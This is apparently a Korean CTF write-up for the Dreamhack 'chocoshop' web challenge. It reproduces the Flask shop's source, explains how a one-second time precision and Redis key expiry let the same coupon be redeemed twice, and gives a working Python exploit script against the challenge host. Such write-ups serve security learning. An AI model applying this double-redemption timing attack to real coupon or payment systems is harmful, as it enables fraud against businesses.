이번에 chocoshop 문제를 풀어보자
접속을 해보니 Acquire Session 버튼이 보인다. 클릭해보자!
오른쪽 상단에 session_id, money가 보이고 가운데 shop, mypage가 보인다.
shop을 들어가보니 Perero 초콜릿과 Flag가 보인다. money가 2000이 되면 Flag값을 얻을 수 있을 것이다.
mypage도 들어가보니 coupon claim이 있고 Coupon submit이 있다.
Claim을하고 Submit을 하면 1000원이 올라간다. 하지만 1000원으로는 아무것도 할 수 없다.
쿠폰을 다시 쓰려고하면 Coupon expired!라고 뜬다. 문제 설명을 보면 쿠폰을 재사용하는 게 관건인 문제인 것 같다.
자 이제 코드를 확인해보자
from flask import Flask, request, jsonify, current_app, send_from_directory
import jwt
import redis
from datetime import timedelta
from time import time
from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized
from functools import wraps
from json import dumps, loads
from uuid import uuid4
r = redis.Redis()
app = Flask(__name__)
# SECRET CONSTANTS
# JWT_SECRET = 'JWT_KEY'
# FLAG = 'DH{FLAG_EXAMPLE}'
from secret import JWT_SECRET, FLAG
# PUBLIC CONSTANTS
COUPON_EXPIRATION_DELTA = 45
RATE_LIMIT_DELTA = 10
FLAG_PRICE = 2000
PEPERO_PRICE = 1500
def handle_errors(error):
return jsonify({'status': 'error', 'message': str(error)}), error.code
for de in default_exceptions:
app.register_error_handler(code_or_exception=de, f=handle_errors)
def get_session():
def decorator(function):
@wraps(function)
def wrapper(*args, **kwargs):
uuid = request.headers.get('Authorization', None)
if uuid is None:
raise BadRequest("Missing Authorization")
data = r.get(f'SESSION:{uuid}')
if data is None:
raise Unauthorized("Unauthorized")
kwargs['user'] = loads(data)
return function(*args, **kwargs)
return wrapper
return decorator
@app.route('/flag/claim')
@get_session()
def flag_claim(user):
if user['money'] < FLAG_PRICE:
raise BadRequest('Not enough money')
user['money'] -= FLAG_PRICE
return jsonify({'status': 'success', 'message': FLAG})
@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
if user['money'] < PEPERO_PRICE:
raise BadRequest('Not enough money')
user['money'] -= PEPERO_PRICE
return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
coupon = request.headers.get('coupon', None)
if coupon is None:
raise BadRequest('Missing Coupon')
try:
coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
except:
raise BadRequest('Invalid coupon')
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
rate_limit_key = f'RATELIMIT:{user["uuid"]}'
if r.setnx(rate_limit_key, 1):
r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
else:
raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
# success, we don't need to keep it after expiration time
if user['uuid'] != coupon['user']:
raise Unauthorized('You cannot submit others\' coupon!')
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
if user['coupon_claimed']:
raise BadRequest('You already claimed the coupon!')
coupon_uuid = uuid4().hex
data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
uuid = user['uuid']
user['coupon_claimed'] = True
coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
return jsonify({'coupon': coupon})
@app.route('/session')
def make_session():
uuid = uuid4().hex
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
{'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
return jsonify({'session': uuid})
@app.route('/me')
@get_session()
def me(user):
return jsonify(user)
@app.route('/')
def index():
return current_app.send_static_file('index.html')
@app.route('/images/<path:path>')
def images(path):
return send_from_directory('images', path)
여기서 중요해보이는 /coupon/claim 엔드포인트부터 확인을 해보자
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
if user['coupon_claimed']:
raise BadRequest('You already claimed the coupon!')
coupon_uuid = uuid4().hex
data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
uuid = user['uuid']
user['coupon_claimed'] = True
coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
return jsonify({'coupon': coupon})
쿠폰을 한 번 발행하면 다시 발행할 수 없다. 그리고 JWT로 인코딩해서 coupon을 만든다.
근데 'expiration': int(time())+ COUPON_EXPIRATION_DELTA에서 COUPON_EXPIRATION_DELTA이 45초이다.
이제 /coupon/submit 엔드포인트를 확인해보자
rate_limit_key = f'RATELIMIT:{user["uuid"]}'
if r.setnx(rate_limit_key, 1):
r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
else:
raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")
요코드에서 RATE_LEMIT_DELTA는 10초가 지나야 쿠폰을 다시 입력할 수 있다.
expiration의 if 구문을 확인해보면
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
45초 이후부터 coupon expired를 띄운다.
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
# success, we don't need to keep it after expiration time
if user['uuid'] != coupon['user']:
raise Unauthorized('You cannot submit others\' coupon!')
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
또 used_coupon은 45초 이후 만료된다. 즉 45초 전에는 used_coupon 존재하기에 BadRequest가 띄어진다.
이부분이 취약하다는 것을 알 수 있었다.
이 코드들은 순차적으로 코드 진행이 된다.
따라서 첫 if 구문이 진행될 때 int(time())는 정밀도가 1초이기에 정확히 45초에 /coupon/submit에 전송하면
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
이 if 구문을 통과하게 되고
그 과정동안 약간의 시간이 지나면서 45초보다 커지게 되고
used_coupon이 만료가 되므로 다시 한 번 coupon을 사용할 수 있게 된다.
해당 exploit 코드를 짜보면
#MJSEC JongYun
import requests
import json
import time
url = "http://host3.dreamhack.games:8843/"
session_id = "3c94db681cc64602b30334f6f4ddd06a"
def claim_coupon(session):
headers = {"Authorization": session}
res = requests.get(url + "coupon/claim", headers=headers)
if res.status_code == 200:
coupon = json.loads(res.text)["coupon"]
print("Coupon claimed successfully")
print("Coupon:", coupon)
return coupon
else:
raise Exception("Failed to claim coupon")
def submit_coupon(session, coupon):
headers = {"Authorization": session, "coupon": coupon}
res = requests.get(url + "coupon/submit", headers=headers)
print("1st response:", res.text)
if res.status_code != 200:
raise Exception("Failed to submit first coupon")
print("Waiting 45 seconds...")
start_time = time.time()
while time.time() - start_time < 44.8:
elapsed_time = time.time() - start_time
print(f"Elapsed time: {int(elapsed_time)} seconds", end='\r')
time.sleep(1)
print("complete!")
res = requests.get(url + "coupon/submit", headers=headers)
print("2nd response:", res.text)
if res.status_code != 200:
raise Exception("Failed to submit 2nd coupon")
def claim_flag(session):
headers = {"Authorization": session}
res = requests.get(url + "/flag/claim", headers=headers)
flag = json.loads(res.text)["message"]
print("Flag:", flag)
if __name__ == "__main__":
try:
session = session_id
coupon = claim_coupon(session)
submit_coupon(session, coupon)
claim_flag(session)
except Exception as e:
print(e)
이 코드를 실행하게 되면 flag값을 얻을 수 있다.
'SECURITY > WEB_HACKING' 카테고리의 다른 글
[WEB] read_flag - Dreamhack (0) | 2024.08.11 |
---|---|
[WEB] Simple Login-dreamhack (0) | 2024.08.09 |
[WEB] phpMyRedis -dreamhack (0) | 2024.08.07 |
[WEB] NoSQL-CouchDB -dreamhack (0) | 2024.08.07 |
[WEB]Switching Command-dreamhack-writeup (0) | 2024.08.06 |